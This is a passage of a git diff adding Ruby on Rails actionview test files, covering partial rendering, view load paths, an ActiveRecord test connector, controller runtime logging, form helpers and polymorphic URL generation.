+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ end
+
+ def test_locals_option_to_assert_template_is_not_supported
+ get :partial_collection_with_locals
+
+ warning_buffer = StringIO.new
+ $stderr = warning_buffer
+
+ assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
+ assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
+ ensure
+ $stderr = STDERR
+ end
+
+ def test_partial_collection_with_spacer
+ get :partial_collection_with_spacer
+ assert_equal "Hello: davidonly partialHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_with_spacer_which_uses_render
+ get :partial_collection_with_spacer_which_uses_render
+ assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_shorthand_with_locals
+ get :partial_collection_shorthand_with_locals
+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ assert_template :partial => 'customers/_customer', :count => 2
+ assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
+ end
+
+ def test_partial_collection_shorthand_with_different_types_of_records
+ get :partial_collection_shorthand_with_different_types_of_records
+ assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+ assert_template :partial => 'good_customers/_good_customer', :count => 3
+ assert_template :partial => 'bad_customers/_bad_customer', :count => 3
+ end
+
+ def test_empty_partial_collection
+ get :empty_partial_collection
+ assert_equal " ", @response.body
+ assert_template :partial => false
+ end
+
+ def test_partial_with_hash_object
+ get :partial_with_hash_object
+ assert_equal "Sam\nmaS\n", @response.body
+ end
+
+ def test_partial_with_nested_object
+ get :partial_with_nested_object
+ assert_equal "first", @response.body
+ end
+
+ def test_partial_with_nested_object_shorthand
+ get :partial_with_nested_object_shorthand
+ assert_equal "first", @response.body
+ end
+
+ def test_hash_partial_collection
+ get :partial_hash_collection
+ assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+ end
+
+ def test_partial_hash_collection_with_locals
+ get :partial_hash_collection_with_locals
+ assert_equal "Hola: PratikHola: Amy", @response.body
+ end
+
+ def test_render_missing_partial_template
+ assert_raise(ActionView::MissingTemplate) do
+ get :missing_partial
+ end
+ end
+
+ def test_render_call_to_partial_with_layout
+ get :render_call_to_partial_with_layout
+ assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+ end
+
+ def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+ end
+end
diff --git a/actionview/test/actionpack/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
new file mode 100644
index 0000000000..7fba9ff8ff
--- /dev/null
+++ b/actionview/test/actionpack/controller/view_paths_test.rb
@@ -0,0 +1,174 @@
+require 'abstract_unit'
+
+class ViewLoadPathsTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def self.controller_path() "test" end
+
+ before_action :add_view_path, only: :hello_world_at_request_time
+
+ def hello_world() end
+ def hello_world_at_request_time() render(:action => 'hello_world') end
+
+ private
+ def add_view_path
+ prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+ end
+ end
+
+ module Test
+ class SubController < ActionController::Base
+ layout 'test/sub'
+ def hello_world; render(:template => 'test/hello_world'); end
+ end
+ end
+
+ def setup
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @controller = TestController.new
+ @paths = TestController.view_paths
+ end
+
+ def teardown
+ TestController.view_paths = @paths
+ end
+
+ def expand(array)
+ array.map {|x| File.expand_path(x.to_s)}
+ end
+
+ def assert_paths(*paths)
+ controller = paths.first.is_a?(Class) ? paths.shift : @controller
+ assert_equal expand(paths), controller.view_paths.map(&:to_s)
+ end
+
+ def test_template_load_path_was_set_correctly
+ assert_paths FIXTURE_LOAD_PATH
+ end
+
+ def test_controller_appends_view_path_correctly
+ @controller.append_view_path 'foo'
+ assert_paths(FIXTURE_LOAD_PATH, "foo")
+
+ @controller.append_view_path(%w(bar baz))
+ assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz")
+
+ @controller.append_view_path(FIXTURE_LOAD_PATH)
+ assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH)
+ end
+
+ def test_controller_prepends_view_path_correctly
+ @controller.prepend_view_path 'baz'
+ assert_paths("baz", FIXTURE_LOAD_PATH)
+
+ @controller.prepend_view_path(%w(foo bar))
+ assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+
+ @controller.prepend_view_path(FIXTURE_LOAD_PATH)
+ assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH
+ end
+
+ def test_template_appends_view_path_correctly
+ @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+ class_view_paths = TestController.view_paths
+
+ @controller.append_view_path 'foo'
+ assert_paths FIXTURE_LOAD_PATH, "foo"
+
+ @controller.append_view_path(%w(bar baz))
+ assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz"
+ assert_paths TestController, *class_view_paths
+ end
+
+ def test_template_prepends_view_path_correctly
+ @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+ class_view_paths = TestController.view_paths
+
+ @controller.prepend_view_path 'baz'
+ assert_paths "baz", FIXTURE_LOAD_PATH
+
+ @controller.prepend_view_path(%w(foo bar))
+ assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+ assert_paths TestController, *class_view_paths
+ end
+
+ def test_view_paths
+ get :hello_world
+ assert_response :success
+ assert_equal "Hello world!", @response.body
+ end
+
+ def test_view_paths_override
+ TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+ get :hello_world
+ assert_response :success
+ assert_equal "Hello overridden world!", @response.body
+ end
+
+ def test_view_paths_override_for_layouts_in_controllers_with_a_module
+ @controller = Test::SubController.new
+ Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
+ get :hello_world
+ assert_response :success
+ assert_equal "layout: Hello overridden world!", @response.body
+ end
+
+ def test_view_paths_override_at_request_time
+ get :hello_world_at_request_time
+ assert_response :success
+ assert_equal "Hello overridden world!", @response.body
+ end
+
+ def test_decorate_view_paths_with_custom_resolver
+ decorator_class = Class.new(ActionView::PathResolver) do
+ def initialize(path_set)
+ @path_set = path_set
+ end
+
+ def find_all(*args)
+ @path_set.find_all(*args).collect do |template|
+ ::ActionView::Template.new(
+ "Decorated body",
+ template.identifier,
+ template.handler,
+ {
+ :virtual_path => template.virtual_path,
+ :format => template.formats
+ }
+ )
+ end
+ end
+ end
+
+ decorator = decorator_class.new(TestController.view_paths)
+ TestController.view_paths = ActionView::PathSet.new.push(decorator)
+
+ get :hello_world
+ assert_response :success
+ assert_equal "Decorated body", @response.body
+ end
+
+ def test_inheritance
+ original_load_paths = ActionController::Base.view_paths
+
+ self.class.class_eval %{
+ class A < ActionController::Base; end
+ class B < A; end
+ class C < ActionController::Base; end
+ }
+
+ A.view_paths = ['a/path']
+
+ assert_paths A, "a/path"
+ assert_paths A, *B.view_paths
+ assert_paths C, *original_load_paths
+
+ C.view_paths = []
+ assert_nothing_raised { C.append_view_path 'c/path' }
+ assert_paths C, "c/path"
+ end
+
+ def test_lookup_context_accessor
+ assert_equal ["test"], TestController.new.lookup_context.prefixes
+ end
+end
diff --git a/actionview/test/active_record_unit.rb b/actionview/test/active_record_unit.rb
new file mode 100644
index 0000000000..cca55c9af4
--- /dev/null
+++ b/actionview/test/active_record_unit.rb
@@ -0,0 +1,91 @@
+require 'abstract_unit'
+
+# Define the essentials
+class ActiveRecordTestConnector
+ cattr_accessor :able_to_connect
+ cattr_accessor :connected
+
+ # Set our defaults
+ self.connected = false
+ self.able_to_connect = true
+end
+
+# Try to grab AR
+unless defined?(ActiveRecord) && defined?(FixtureSet)
+ begin
+ PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
+ raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
+ $LOAD_PATH.unshift PATH_TO_AR
+ require 'active_record'
+ rescue LoadError => e
+ $stderr.print "Failed to load Active Record. Skipping Active Record assertion tests: #{e}"
+ ActiveRecordTestConnector.able_to_connect = false
+ end
+end
+$stderr.flush
+
+
+# Define the rest of the connector
+class ActiveRecordTestConnector
+ class << self
+ def setup
+ unless self.connected || !self.able_to_connect
+ setup_connection
+ load_schema
+ require_fixture_models
+ self.connected = true
+ end
+ rescue Exception => e # errors from ActiveRecord setup
+ $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
+ #$stderr.puts " #{e.backtrace.join("\n ")}\n"
+ self.able_to_connect = false
+ end
+
+ private
+ def setup_connection
+ if Object.const_defined?(:ActiveRecord)
+ defaults = { :database => ':memory:' }
+ adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
+ options = defaults.merge :adapter => adapter, :timeout => 500
+ ActiveRecord::Base.establish_connection(options)
+ ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
+ ActiveRecord::Base.connection
+
+ Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
+ else
+ raise "Can't setup connection since ActiveRecord isn't loaded."
+ end
+ end
+
+ # Load actionpack sqlite3 tables
+ def load_schema
+ File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
+ ActiveRecord::Base.connection.execute(sql) unless sql.blank?
+ end
+ end
+
+ def require_fixture_models
+ Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
+ end
+ end
+end
+
+class ActiveRecordTestCase < ActionController::TestCase
+ include ActiveRecord::TestFixtures
+
+ # Set our fixture path
+ if ActiveRecordTestConnector.able_to_connect
+ self.fixture_path = [FIXTURE_LOAD_PATH]
+ self.use_transactional_fixtures = false
+ end
+
+ def self.fixtures(*args)
+ super if ActiveRecordTestConnector.connected
+ end
+
+ def run(*args)
+ super if ActiveRecordTestConnector.connected
+ end
+end
+
+ActiveRecordTestConnector.setup
diff --git a/actionview/test/activerecord/controller_runtime_test.rb b/actionview/test/activerecord/controller_runtime_test.rb
new file mode 100644
index 0000000000..469adff39a
--- /dev/null
+++ b/actionview/test/activerecord/controller_runtime_test.rb
@@ -0,0 +1,93 @@
+require 'active_record_unit'
+require 'active_record/railties/controller_runtime'
+require 'fixtures/project'
+require 'active_support/log_subscriber/test_helper'
+require 'action_controller/log_subscriber'
+
+ActionController::Base.send :include, ActiveRecord::Railties::ControllerRuntime
+
+class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
+ class LogSubscriberController < ActionController::Base
+ def show
+ render :inline => "<%= Project.all %>"
+ end
+
+ def zero
+ render :inline => "Zero DB runtime"
+ end
+
+ def create
+ ActiveRecord::LogSubscriber.runtime += 100
+ Project.last
+ redirect_to "/"
+ end
+
+ def redirect
+ Project.all
+ redirect_to :action => 'show'
+ end
+
+ def db_after_render
+ render :inline => "Hello world"
+ Project.all
+ ActiveRecord::LogSubscriber.runtime += 100
+ end
+ end
+
+ include ActiveSupport::LogSubscriber::TestHelper
+ tests LogSubscriberController
+
+ def setup
+ super
+ @old_logger = ActionController::Base.logger
+ ActionController::LogSubscriber.attach_to :action_controller
+ end
+
+ def teardown
+ super
+ ActiveSupport::LogSubscriber.log_subscribers.clear
+ ActionController::Base.logger = @old_logger
+ end
+
+ def set_logger(logger)
+ ActionController::Base.logger = logger
+ end
+
+ def test_log_with_active_record
+ get :show
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[1])
+ end
+
+ def test_runtime_reset_before_requests
+ ActiveRecord::LogSubscriber.runtime += 12345
+ get :zero
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0.0ms\)/, @logger.logged(:info)[1])
+ end
+
+ def test_log_with_active_record_when_post
+ post :create
+ wait
+ assert_match(/ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[2])
+ end
+
+ def test_log_with_active_record_when_redirecting
+ get :redirect
+ wait
+ assert_equal 3, @logger.logged(:info).size
+ assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2])
+ end
+
+ def test_include_time_query_time_after_rendering
+ get :db_after_render
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1])
+ end
+end
diff --git a/actionview/test/activerecord/debug_helper_test.rb b/actionview/test/activerecord/debug_helper_test.rb
new file mode 100644
index 0000000000..5609694cd5
--- /dev/null
+++ b/actionview/test/activerecord/debug_helper_test.rb
@@ -0,0 +1,8 @@
+require 'active_record_unit'
+
+class DebugHelperTest < ActionView::TestCase
+ def test_debug
+ company = Company.new(name: "firebase")
+ assert_match "name: firebase", debug(company)
+ end
+end
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
new file mode 100644
index 0000000000..0a62f49f35
--- /dev/null
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -0,0 +1,92 @@
+require 'active_record_unit'
+require 'fixtures/project'
+require 'fixtures/developer'
+
+class FormHelperActiveRecordTest < ActionView::TestCase
+ tests ActionView::Helpers::FormHelper
+
+ def form_for(*)
+ @output_buffer = super
+ end
+
+ def setup
+ @developer = Developer.new
+ @developer.id = 123
+ @developer.name = "developer #123"
+
+ @project = Project.new
+ @project.id = 321
+ @project.name = "project #321"
+ @project.save
+
+ @developer.projects << @project
+ @developer.save
+ end
+
+ def teardown
+ Project.delete(321)
+ Developer.delete(123)
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new
+ Routes.draw do
+ resources :developers do
+ resources :projects
+ end
+ end
+
+ def _routes
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+ form_for(@developer) do |f|
+ concat f.fields_for(:projects, @developer.projects.first, :child_index => 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/developers/123', 'edit_developer_123', 'edit_developer', :method => 'patch') do
+ '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' +
+ '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ protected
+
+ def hidden_fields(method = nil)
+ txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+
+ txt
+ end
+
+ def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if multipart
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ method = method.to_s == "get" ? "get" : "post"
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "/", id = nil, html_class = nil, options = nil)
+ contents = block_given? ? yield : ""
+
+ if options.is_a?(Hash)
+ method, remote, multipart = options.values_at(:method, :remote, :multipart)
+ else
+ method = options
+ end
+
+ form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+ end
+end
diff --git a/actionview/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
new file mode 100644
index 0000000000..5842b775bb
--- /dev/null
+++ b/actionview/test/activerecord/polymorphic_routes_test.rb
@@ -0,0 +1,723 @@
+require 'active_record_unit'
+require 'fixtures/project'
+
+class Task < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Step < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Bid < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Tax < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Fax < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Series < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class ModelDelegator < ActiveRecord::Base
+ self.table_name = 'projects'
+
+ def to_model
+ ModelDelegate.new
+ end
+end
+
+class ModelDelegate
+ def model_name
+ ActiveModel::Name.new(self.class)
+ end
+
+ def to_param
+ 'overridden'
+ end
+end
+
+module Blog
+ class Post < ActiveRecord::Base
+ self.table_name = 'projects'
+ end
+
+ class Blog < ActiveRecord::Base
+ self.table_name = 'projects'
+ end
+
+ def self.use_relative_model_naming?
+ true
+ end
+end
+
+class PolymorphicRoutesTest < ActionController::TestCase
+ include SharedTestRoutes.url_helpers
+ self.default_url_options[:host] = 'example.com'
+
+ def setup
+ @project = Project.new
+ @task = Task.new
+ @step = Step.new
+ @bid = Bid.new
+ @tax = Tax.new
+ @fax = Fax.new
+ @delegator = ModelDelegator.new
+ @series = Series.new
+ @blog_post = Blog::Post.new
+ @blog_blog = Blog::Blog.new
+ end
+
+ def assert_url(url, args)
+ host = self.class.default_url_options[:host]
+
+ assert_equal url.sub(/http:\/\/#{host}/, ''), polymorphic_path(args)
+ assert_equal url, polymorphic_url(args)
+ assert_equal url, url_for(args)
+ end
+
+ def test_string
+ with_test_routes do
+ # FIXME: why are these different? Symbol case passes through to
+ # `polymorphic_url`, but the String case doesn't.
+ assert_equal "http://example.com/projects", polymorphic_url("projects")
+ assert_equal "projects", url_for("projects")
+ end
+ end
+
+ def test_string_with_options
+ with_test_routes do
+ assert_equal "http://example.com/projects?id=10", polymorphic_url("projects", :id => 10)
+ end
+ end
+
+ def test_symbol
+ with_test_routes do
+ assert_url "http://example.com/projects", :projects
+ end
+ end
+
+ def test_symbol_with_options
+ with_test_routes do
+ assert_equal "http://example.com/projects?id=10", polymorphic_url(:projects, :id => 10)
+ end
+ end
+
+ def test_passing_routes_proxy
+ with_namespaced_routes(:blog) do
+ proxy = ActionDispatch::Routing::RoutesProxy.new(_routes, self)
+ @blog_post.save
+ assert_url "http://example.com/posts/#{@blog_post.id}", [proxy, @blog_post]
+ end
+ end
+
+ def test_namespaced_model
+ with_namespaced_routes(:blog) do
+ @blog_post.save
+ assert_url "http://example.com/posts/#{@blog_post.id}", @blog_post
+ end
+ end
+
+ def test_namespaced_model_with_name_the_same_as_namespace
+ with_namespaced_routes(:blog) do
+ @blog_blog.save
+ assert_url "http://example.com/blogs/#{@blog_blog.id}", @blog_blog
+ end
+ end
+
+ def test_polymorphic_url_with_2_objects
+ with_namespaced_routes(:blog) do
+ @blog_blog.save
+ @blog_post.save
+ assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
+ end
+ end
+
+ def test_polymorphic_url_with_3_objects
+ with_namespaced_routes(:blog) do
+ @blog_blog.save
+ @blog_post.save
+ @fax.save
+ assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}/faxes/#{@fax.id}", polymorphic_url([@blog_blog, @blog_post, @fax])
+ end
+ end
+
+ def test_namespaced_model_with_nested_resources
+ with_namespaced_routes(:blog) do
+ @blog_post.save
+ @blog_blog.save
+ assert_url "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", [@blog_blog, @blog_post]
+ end
+ end
+
+ def test_with_nil
+ with_test_routes do
+ exception = assert_raise ArgumentError do
+ polymorphic_url(nil)
+ end
+ assert_equal "Nil location provided. Can't build URI.", exception.message
+ end
+ end
+
+ def test_with_empty_list
+ with_test_routes do
+ exception = assert_raise ArgumentError do
+ polymorphic_url([])
+ end
+ assert_equal "Nil location provided. Can't build URI.", exception.message
+ end
+ end
+
+ def test_with_nil_id
+ with_test_routes do
+ exception = assert_raise ArgumentError do
+ polymorphic_url({ :id => nil })
+ end
+ assert_equal "Nil location provided. Can't build URI.", exception.message
+ end
+ end
+
+ def test_with_entirely_nil_list
+ with_test_routes do
+ exception = assert_raise ArgumentError do
+ @series.save
+ polymorphic_url([nil, nil])
+ end
+ assert_equal "Nil location provided. Can't build URI.", exception.message
+ end
+ end
+
+ def test_with_nil_in_list_for_resource_that_could_be_top_level_or_nested
+ with_top_level_and_nested_routes do
+ @blog_post.save
+ assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([nil, @blog_post])
+ end
+ end
+
+ def test_with_nil_in_list_does_not_generate_invalid_link
+ with_top_level_and_nested_routes do
+ exception = assert_raise NoMethodError do
+ @series.save
+ polymorphic_url([nil, @series])
+ end
+ assert_match(/undefined method `series_url' for/, exception.message)
+ end
+ end
+
+ def test_with_record
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}", @project
+ end
+ end
+
+ def test_with_class
+ with_test_routes do
+ assert_url "http://example.com/projects", @project.class
+ end
+ end
+
+ def test_with_class_list_of_one
+ with_test_routes do
+ assert_url "http://example.com/projects", [@project.class]
+ end
+ end
+
+ def test_class_with_options
+ with_test_routes do
+ assert_equal "http://example.com/projects?foo=bar", polymorphic_url(@project.class, { :foo => :bar })
+ assert_equal "/projects?foo=bar", polymorphic_path(@project.class, { :foo => :bar })
+ end
+ end
+
+ def test_with_new_record
+ with_test_routes do
+ assert_url "http://example.com/projects", @project
+ end
+ end
+
+ def test_new_record_arguments
+ params = nil
+
+ with_test_routes do
+ extend Module.new {
+ define_method("projects_url") { |*args|
+ params = args
+ super(*args)
+ }
+
+ define_method("projects_path") { |*args|
+ params = args
+ super(*args)
+ }
+ }
+
+ assert_url "http://example.com/projects", @project
+ assert_equal [], params
+ end
+ end
+
+ def test_with_destroyed_record
+ with_test_routes do
+ @project.destroy
+ assert_url "http://example.com/projects", @project
+ end
+ end
+
+ def test_with_record_and_action
+ with_test_routes do
+ assert_equal "http://example.com/projects/new", polymorphic_url(@project, :action => 'new')
+ end
+ end
+
+ def test_url_helper_prefixed_with_new
+ with_test_routes do
+ assert_equal "http://example.com/projects/new", new_polymorphic_url(@project)
+ end
+ end
+
+ def test_regression_path_helper_prefixed_with_new_and_edit
+ with_test_routes do
+ assert_equal "/projects/new", new_polymorphic_path(@project)
+
+ @project.save
+ assert_equal "/projects/#{@project.id}/edit", edit_polymorphic_path(@project)
+ end
+ end
+
+ def test_url_helper_prefixed_with_edit
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/edit", edit_polymorphic_url(@project)
+ end
+ end
+
+ def test_url_helper_prefixed_with_edit_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/edit?param1=10", edit_polymorphic_url(@project, :param1 => '10')
+ end
+ end
+
+ def test_url_helper_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}?param1=10", polymorphic_url(@project, :param1 => '10')
+ end
+ end
+
+ def test_format_option
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(@project, :format => :pdf)
+ end
+ end
+
+ def test_format_option_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf?param1=10", polymorphic_url(@project, :format => :pdf, :param1 => '10')
+ end
+ end
+
+ def test_id_and_format_option
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(:id => @project, :format => :pdf)
+ end
+ end
+
+ def test_with_nested
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_url "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", [@project, @task]
+ end
+ end
+
+ def test_with_nested_unsaved
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
+ end
+ end
+
+ def test_with_nested_destroyed
+ with_test_routes do
+ @project.save
+ @task.destroy
+ assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
+ end
+ end
+
+ def test_with_nested_class
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task.class]
+ end
+ end
+
+ def test_class_with_array_and_namespace
+ with_admin_test_routes do
+ assert_url "http://example.com/admin/projects", [:admin, @project.class]
+ end
+ end
+
+ def test_new_with_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/projects/new", polymorphic_url([:admin, @project], :action => 'new')
+ end
+ end
+
+ def test_unsaved_with_array_and_namespace
+ with_admin_test_routes do
+ assert_url "http://example.com/admin/projects", [:admin, @project]
+ end
+ end
+
+ def test_nested_unsaved_with_array_and_namespace
+ with_admin_test_routes do
+ @project.save
+ assert_url "http://example.com/admin/projects/#{@project.id}/tasks", [:admin, @project, @task]
+ end
+ end
+
+ def test_nested_with_array_and_namespace
+ with_admin_test_routes do
+ @project.save
+ @task.save
+ assert_url "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", [:admin, @project, @task]
+ end
+ end
+
+ def test_ordering_of_nesting_and_namespace
+ with_admin_and_site_test_routes do
+ @project.save
+ @task.save
+ @step.save
+ assert_url "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", [:admin, @project, :site, @task, @step]
+ end
+ end
+
+ def test_nesting_with_array_ending_in_singleton_resource
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
+ end
+ end
+
+ def test_nesting_with_array_containing_singleton_resource
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_url "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", [@project, :bid, @task]
+ end
+ end
+
+ def test_nesting_with_array_containing_singleton_resource_and_format
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}.pdf", polymorphic_url([@project, :bid, @task], :format => :pdf)
+ end
+ end
+
+ def test_nesting_with_array_containing_namespace_and_singleton_resource
+ with_admin_test_routes do
+ @project.save
+ @task.save
+ assert_url "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", [:admin, @project, :bid, @task]
+ end
+ end
+
+ def test_nesting_with_array
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
+ end
+ end
+
+ def test_with_array_containing_single_object
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects/#{@project.id}", [@project]
+ end
+ end
+
+ def test_with_array_containing_single_name
+ with_test_routes do
+ @project.save
+ assert_url "http://example.com/projects", [:projects]
+ end
+ end
+
+ def test_with_array_containing_single_string_name
+ with_test_routes do
+ assert_url "http://example.com/projects", ["projects"]
+ end
+ end
+
+ def test_with_array_containing_symbols
+ with_test_routes do
+ assert_url "http://example.com/series/new", [:new, :series]
+ end
+ end
+
+ def test_with_hash
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(:id => @project)
+ end
+ end
+
+ def test_polymorphic_path_accepts_options
+ with_test_routes do
+ assert_equal "/projects/new", polymorphic_path(@project, :action => 'new')
+ end
+ end
+
+ def test_polymorphic_path_does_not_modify_arguments
+ with_admin_test_routes do
+ @project.save
+ @task.save
+
+ options = {}
+ object_array = [:admin, @project, @task]
+ original_args = [object_array.dup, options.dup]
+
+ assert_no_difference('object_array.size') { polymorphic_path(object_array, options) }
+ assert_equal original_args, [object_array, options]
+ end
+ end
+
+ # Tests for names where .plural.singular doesn't round-trip
+ def test_with_irregular_plural_record
+ with_test_routes do
+ @tax.save
+ assert_url "http://example.com/taxes/#{@tax.id}", @tax
+ end
+ end
+
+ def test_with_irregular_plural_class
+ with_test_routes do
+ assert_url "http://example.com/taxes", @tax.class
+ end
+ end
+
+ def test_with_irregular_plural_new_record
+ with_test_routes do
+ assert_url "http://example.com/taxes", @tax
+ end
+ end
+
+ def test_with_irregular_plural_destroyed_record
+ with_test_routes do
+ @tax.destroy
+ assert_url "http://example.com/taxes", @tax
+ end
+ end
+
+ def test_with_irregular_plural_record_and_action
+ with_test_routes do
+ assert_equal "http://example.com/taxes/new", polymorphic_url(@tax, :action => 'new')
+ end
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_new
+ with_test_routes do
+ assert_equal "http://example.com/taxes/new", new_polymorphic_url(@tax)
+ end
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_edit
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/edit", edit_polymorphic_url(@tax)
+ end
+ end
+
+ def test_with_nested_irregular_plurals
+ with_test_routes do
+ @tax.save
+ @fax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/faxes/#{@fax.id}", polymorphic_url([@tax, @fax])
+ end
+ end
+
+ def test_with_nested_unsaved_irregular_plurals
+ with_test_routes do
+ @tax.save
+ assert_url "http://example.com/taxes/#{@tax.id}/faxes", [@tax, @fax]
+ end
+ end
+
+ def test_new_with_irregular_plural_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/taxes/new", polymorphic_url([:admin, @tax], :action => 'new')
+ end
+ end
+
+ def test_class_with_irregular_plural_array_and_namespace
